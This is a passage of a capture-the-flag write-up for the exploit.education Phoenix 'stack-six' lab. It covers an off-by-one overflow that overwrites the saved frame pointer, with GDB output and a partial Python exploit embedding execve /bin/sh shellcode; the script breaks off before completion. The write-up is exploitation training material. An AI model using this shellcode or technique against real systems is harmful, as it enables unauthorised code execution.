&lt;span class="cp"&gt;#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"
&lt;/span&gt;
&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;what&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GREET&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nf"&gt;greet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;who&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;128&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
  &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;maxSize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="n"&gt;maxSize&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;strlen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;who&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;maxSize&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="cm"&gt;/* ensure null termination */&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;maxSize&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="n"&gt;strcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;what&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="n"&gt;strncpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;strlen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;who&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;maxSize&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;strdup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"%s&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;BANNER&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="cp"&gt;#ifdef NEWARCH
&lt;/span&gt;  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;what&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="cp"&gt;#endif
&lt;/span&gt;
  &lt;span class="n"&gt;ptr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"ExploitEducation"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// This style of comparison prevents issues where you may accidentally&lt;/span&gt;
    &lt;span class="c1"&gt;// type if(ptr = NULL) {}..&lt;/span&gt;

    &lt;span class="n"&gt;errx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Please specify an environment variable called ExploitEducation"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"%s&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;greet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  The bug
&lt;/h2&gt;

&lt;p&gt;We pass input by setting the &lt;code&gt;ExploitEducation&lt;/code&gt; environment variable. Then our input is seemingly bounds checked. If our input is longer than 127 bytes, only the first 127 bytes are copied into &lt;code&gt;buffer&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;However, notice the program does not account for the length of &lt;code&gt;what&lt;/code&gt;. It blindly copies the contents of &lt;code&gt;what&lt;/code&gt; into &lt;code&gt;buffer&lt;/code&gt; before copying our input. This means we still can overflow the buffer! Let's try inputting 128 &lt;code&gt;A&lt;/code&gt;s.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;user@phoenix-amd64:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;ExploitEducation&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;python &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"print 'A' * 128"&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;
user@phoenix-amd64:~&lt;span class="err"&gt;$&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Debug the program in GDB. I decide to set two breakpoints: at the prologue and epilogue of &lt;code&gt;main&lt;/code&gt;. I also set another breakpoint after the the call to &lt;code&gt;strncpy&lt;/code&gt; in &lt;code&gt;greet&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gef➤  &lt;span class="nb"&gt;break&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt;main
Breakpoint 1 at 0x40079b
gef➤  &lt;span class="nb"&gt;break&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt;main + 91
Breakpoint 2 at 0x4007f7
gef➤  &lt;span class="nb"&gt;break&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt;greet + 133
Breakpoint 3 at 0x400782
gef➤  run
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Right away we pause at the start of main. Let's find where our 128 &lt;code&gt;A&lt;/code&gt;s are. We know that our input is in an environment variable. GEF shows which registers are pointing to strings.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$rbx&lt;/span&gt;   : 0x00007fffffffe5e8  →  0x00007fffffffe7fa  →  &lt;span class="s2"&gt;"/opt/phoenix/amd64/stack-six"&lt;/span&gt;
&lt;span class="nv"&gt;$rdx&lt;/span&gt;   : 0x00007fffffffe5f8  →  0x00007fffffffe817  →  &lt;span class="s2"&gt;"LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so[...]"&lt;/span&gt;
&lt;span class="nv"&gt;$rsi&lt;/span&gt;   : 0x00007fffffffe5e8  →  0x00007fffffffe7fa  →  &lt;span class="s2"&gt;"/opt/phoenix/amd64/stack-six"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Immediately we see a familiar environment variable &lt;code&gt;LS_COLORS&lt;/code&gt;. Let's dump some more strings from &lt;code&gt;0x00007fffffffe7fa&lt;/code&gt; onwards.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gef➤  x/40s 0x00007fffffffe7fa
0x7fffffffe7fa: &lt;span class="s2"&gt;"/opt/phoenix/amd64/stack-six"&lt;/span&gt;
💇
0x7fffffffeeb3: &lt;span class="s2"&gt;"COLUMNS=99"&lt;/span&gt;
0x7fffffffeebe: &lt;span class="s2"&gt;"MAIL=/var/mail/user"&lt;/span&gt;
0x7fffffffeed2: &lt;span class="s2"&gt;"SHELL=/bin/bash"&lt;/span&gt;
0x7fffffffeee2: &lt;span class="s2"&gt;"TERM=xterm-256color"&lt;/span&gt;
0x7fffffffeef6: &lt;span class="s2"&gt;"SHLVL=1"&lt;/span&gt;
0x7fffffffeefe: &lt;span class="s2"&gt;"ExploitEducation="&lt;/span&gt;, &lt;span class="s1"&gt;'A'&lt;/span&gt; &amp;lt;repeats 128 &lt;span class="nb"&gt;times&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
💇
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;We've found our input. Note that our &lt;code&gt;A&lt;/code&gt;s start after the string "ExploitEducation=", which measures 17 bytes. GEF allows us to do some quick calculation.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gef➤  &lt;span class="nv"&gt;$ &lt;/span&gt;0x7fffffffeefe+17
140737488350991
0x7fffffffef0f
0b11111111111111111111111111111111110111100001111
b&lt;span class="s1"&gt;'\x7f\xff\xff\xff\xef\x0f'&lt;/span&gt;
b&lt;span class="s1"&gt;'\x0f\xef\xff\xff\xff\x7f'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;If we now dump 128 characters from &lt;code&gt;0x7fffffffef0f&lt;/code&gt; we should see our &lt;code&gt;A&lt;/code&gt;s.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gef➤  x/128c 0x7fffffffef0f
0x7fffffffef0f: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0x7fffffffef17: 0x41    0x41    0x41    0x41    0x41 💇
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Perfect. We continue execution till we hit the breakpoint in &lt;code&gt;greet&lt;/code&gt;. Let's examine the stack.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gef➤  &lt;span class="k"&gt;continue
&lt;/span&gt;Continuing.
Welcome to phoenix/stack-six, brought to you by https://exploit.education
💇
gef➤  x/32gx &lt;span class="nv"&gt;$rsp&lt;/span&gt;
0x7fffffffe4b0: 0x00007ffff7ffc948  0x00007fffffffef0f
0x7fffffffe4c0: 0x2c656d6f636c6557  0x6c70206d61204920
0x7fffffffe4d0: 0x6f74206465736165  0x6f79207465656d20
0x7fffffffe4e0: 0x4141414141412075  0x4141414141414141
0x7fffffffe4f0: 0x4141414141414141  0x4141414141414141
💇
0x7fffffffe540: 0x4141414141414141  0x4141414141414141
0x7fffffffe550: 0x4141414141414141  0x4141414141414141
0x7fffffffe560: 0x00007fffffffe541  0x00000000004007e9
0x7fffffffe570: 0x00007fffffffe5e8  0x00000001ffffe5f8
0x7fffffffe580: 0x000000000040079b  0x00007fffffffef0f
0x7fffffffe590: 0x0000000000000001  0x00007ffff7d8fd62
0x7fffffffe5a0: 0x0000000000000000  0x00007fffffffe5e0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;We can see our &lt;code&gt;A&lt;/code&gt;s fill up the buffer nicely. Did we overwrite any pointers? Let's check the registers.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$rsp&lt;/span&gt;   : 0x00007fffffffe4b0  →  0x00007ffff7ffc948  →  &lt;span class="s2"&gt;"Welcome to phoenix/stack-six, brought to you by ht[...]"&lt;/span&gt;
&lt;span class="nv"&gt;$rbp&lt;/span&gt;   : 0x00007fffffffe560  →  0x00007fffffffe541  →  0x4141414141414141 &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"AAAAAAAA"&lt;/span&gt;?&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;$rsi&lt;/span&gt;   : 0x0
&lt;span class="nv"&gt;$rdi&lt;/span&gt;   : 0x00007fffffffe561  →  0xe900007fffffffe5
&lt;span class="nv"&gt;$rip&lt;/span&gt;   : 0x0000000000400782  →  &amp;lt;greet+133&amp;gt; lea rax, &lt;span class="o"&gt;[&lt;/span&gt;rbp-0xa0]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Woah! The &lt;code&gt;rbp&lt;/code&gt; register is pointing to our &lt;code&gt;A&lt;/code&gt;s? And the least significant byte has a value of 0x41. Hmm... Let's rerun the program inputting just 126 &lt;code&gt;A&lt;/code&gt;s and one &lt;code&gt;B&lt;/code&gt;. Debug the program setting the same breakpoints.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;user@phoenix-amd64:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;ExploitEducation&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;python &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"print 'A' * 126 + 'B'"&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;
user@phoenix-amd64:~&lt;span class="nv"&gt;$ &lt;/span&gt;gdb /opt/phoenix/amd64/stack-six
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Back to where we were just now, let's examine the stack.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gef➤  x/32gx &lt;span class="nv"&gt;$rsp&lt;/span&gt;
0x7fffffffe4b0: 0x00007ffff7ffc948  0x00007fffffffef10
0x7fffffffe4c0: 0x2c656d6f636c6557  0x6c70206d61204920
0x7fffffffe4d0: 0x6f74206465736165  0x6f79207465656d20
0x7fffffffe4e0: 0x4141414141412075  0x4141414141414141
0x7fffffffe4f0: 0x4141414141414141  0x4141414141414141
💇
0x7fffffffe540: 0x4141414141414141  0x4141414141414141
0x7fffffffe550: 0x4141414141414141  0x4141414141414141
0x7fffffffe560: 0x00007fffffffe542  0x00000000004007e9
0x7fffffffe570: 0x00007fffffffe5e8  0x00000001ffffe5f8
0x7fffffffe580: 0x000000000040079b  0x00007fffffffef10
0x7fffffffe590: 0x0000000000000001  0x00007ffff7d8fd62
0x7fffffffe5a0: 0x0000000000000000  0x00007fffffffe5e0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;We examine the registers and indeed, we can overwrite one byte of &lt;code&gt;rbp&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$rsp&lt;/span&gt;   : 0x00007fffffffe4b0  →  0x00007ffff7ffc948  →  &lt;span class="s2"&gt;"Welcome to phoenix/stack-six, brought to you by ht[...]"&lt;/span&gt;
&lt;span class="nv"&gt;$rbp&lt;/span&gt;   : 0x00007fffffffe560  →  0x00007fffffffe542  →  0x4141414141414141 &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"AAAAAAAA"&lt;/span&gt;?&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;$rsi&lt;/span&gt;   : 0x0
&lt;span class="nv"&gt;$rdi&lt;/span&gt;   : 0x00007fffffffe561  →  0xe900007fffffffe5
&lt;span class="nv"&gt;$rip&lt;/span&gt;   : 0x0000000000400782  →  &amp;lt;greet+133&amp;gt; lea rax, &lt;span class="o"&gt;[&lt;/span&gt;rbp-0xa0]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;How does this help us? If we look at the subsequent instructions, we see that a value is popped off the stack into &lt;code&gt;rbp&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;→    0x400782 &amp;lt;greet+133&amp;gt;      lea    rax, [rbp-0xa0]
     0x400789 &amp;lt;greet+140&amp;gt;      mov    rdi, rax
     0x40078c &amp;lt;greet+143&amp;gt;      call   0x400560 &amp;lt;strdup@plt&amp;gt;
     0x400791 &amp;lt;greet+148&amp;gt;      add    rsp, 0xa8
     0x400798 &amp;lt;greet+155&amp;gt;      pop    rbx
     0x400799 &amp;lt;greet+156&amp;gt;      pop    rbp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;We break at that instruction and realise that value has our &lt;code&gt;B&lt;/code&gt; in it!&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gef➤  break *greet + 156
Breakpoint 4 at 0x400799
gef➤  continue
💇
$rsp   : 0x00007fffffffe560  →  0x00007fffffffe542  →  0x4141414141414141 ("AAAAAAAA"?)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Step over and we see &lt;code&gt;rbp&lt;/code&gt; is indeed set to our corrupt value.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gef➤  ni
💇
&lt;span class="nv"&gt;$rbp&lt;/span&gt;   : 0x00007fffffffe542  →  0x4141414141414141 &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"AAAAAAAA"&lt;/span&gt;?&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;We continue to our last breakpoint, a &lt;code&gt;leave&lt;/code&gt; instruction in &lt;code&gt;main&lt;/code&gt;. A &lt;code&gt;leave&lt;/code&gt; achieves the same thing as&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mov rsp, rbp
pop rbp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;First, &lt;code&gt;rsp&lt;/code&gt; will be set to the value of &lt;code&gt;rbp&lt;/code&gt;. This is their current state.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$rsp&lt;/span&gt;   : 0x00007fffffffe570  →  0x00007fffffffe5e8  →  0x00007fffffffe7fb  →  &lt;span class="s2"&gt;"/opt/phoenix/amd64/stack-six"&lt;/span&gt;
&lt;span class="nv"&gt;$rbp&lt;/span&gt;   : 0x00007fffffffe542  →  0x993400007ffff7ff
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Step over and we see &lt;code&gt;rsp&lt;/code&gt; set to &lt;code&gt;0x00007fffffffe542&lt;/code&gt; plus 8 (remember popping a value off the stack adds 8 to &lt;code&gt;rsp&lt;/code&gt;).&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$rsp&lt;/span&gt;   : 0x00007fffffffe54a  →  0x414100007ffff7db
&lt;span class="nv"&gt;$rbp&lt;/span&gt;   : 0x993400007ffff7ff
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;What's the next instruction? That's right, a &lt;code&gt;ret&lt;/code&gt; which is basically &lt;code&gt;pop rip&lt;/code&gt;. Since &lt;code&gt;rsp&lt;/code&gt; is pointing to some garbage value, we will segfault.&lt;/p&gt;
&lt;h2&gt;
  
  
  Plan of attack
&lt;/h2&gt;

&lt;p&gt;Just by overwriting one byte, we redirected code execution. How can we use this to our advantage and pop a shell? First, we need to realise that by controlling the least significant byte, we only can overwrite &lt;code&gt;rbp&lt;/code&gt; to point from &lt;code&gt;0x00007fffffffe500&lt;/code&gt; to &lt;code&gt;ff&lt;/code&gt;. We could point back into &lt;code&gt;buffer&lt;/code&gt; but by the time we jump back, that stack frame would already be cleared. &lt;/p&gt;

&lt;p&gt;But how about our environment variable? Its contents remain on the stack as long as we are still in the shell. Recall that &lt;code&gt;greet&lt;/code&gt; takes one argument, a character pointer to our environment variable. We know that arguments passed to a function are stored after its return address.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--6UmPCv0T--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ltiahgzbrt3ux1cpl2qr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--6UmPCv0T--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ltiahgzbrt3ux1cpl2qr.png" alt="https://en.wikipedia.org/wiki/Call_stack#/media/File:Call_stack_layout.svg" width="342" height="279"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;With our input of 128 &lt;code&gt;A&lt;/code&gt;s, the address we calculated was &lt;code&gt;0x7fffffffef0f&lt;/code&gt;. When we hit the breakpoint in &lt;code&gt;greet&lt;/code&gt; and dump out the stack, we can clearly see that address stored on the stack at &lt;code&gt;0x7fffffffe588&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gef➤  &lt;span class="k"&gt;continue
&lt;/span&gt;Continuing.
Welcome to phoenix/stack-six, brought to you by https://exploit.education
💇
gef➤  x/32gx &lt;span class="nv"&gt;$rsp&lt;/span&gt;
💇
0x7fffffffe540: 0x4141414141414141  0x4141414141414141
0x7fffffffe550: 0x4141414141414141  0x4141414141414141
0x7fffffffe560: 0x00007fffffffe541  0x00000000004007e9
0x7fffffffe570: 0x00007fffffffe5e8  0x00000001ffffe5f8
0x7fffffffe580: 0x000000000040079b  0x00007fffffffef0f
0x7fffffffe590: 0x0000000000000001  0x00007ffff7d8fd62
0x7fffffffe5a0: 0x0000000000000000  0x00007fffffffe5e0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;We have established that at before returning from &lt;code&gt;main&lt;/code&gt;, &lt;code&gt;rsp&lt;/code&gt; will be whatever &lt;code&gt;rbp&lt;/code&gt; was plus 8. So subtracting 8 from &lt;code&gt;0x7fffffffe588&lt;/code&gt; we will get &lt;code&gt;0x7fffffffe580&lt;/code&gt;. With our overflow, can we set &lt;code&gt;rbp&lt;/code&gt; to be &lt;code&gt;0x7fffffffe580&lt;/code&gt;? Definitely, as it is within our range (&lt;code&gt;0x7fffffffe500&lt;/code&gt; to &lt;code&gt;ff&lt;/code&gt;).&lt;/p&gt;
&lt;h2&gt;
  
  
  Exploitation
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;struct&lt;/span&gt;

&lt;span class="c1"&gt;# execve /bin/sh - http://shell-storm.org/shellcode/files/shellcode-806.php 
&lt;/span&gt;&lt;span class="n"&gt;shellcode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x31\xc0\x48\xbb\xd1\x9d\x96\x91&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;shellcode&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\xd0\x8c\x97\xff\x48\xf7\xdb\x53&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;shellcode&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt; &lt;span class="c1"&gt;# 27 bytes
&lt;/span&gt;
&lt;span class="n"&gt;fake_rbp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x80&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;

&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x90&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;50&lt;/span&gt;
&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;shellcode&lt;/span&gt;
&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="s"&gt;"A"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;127&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
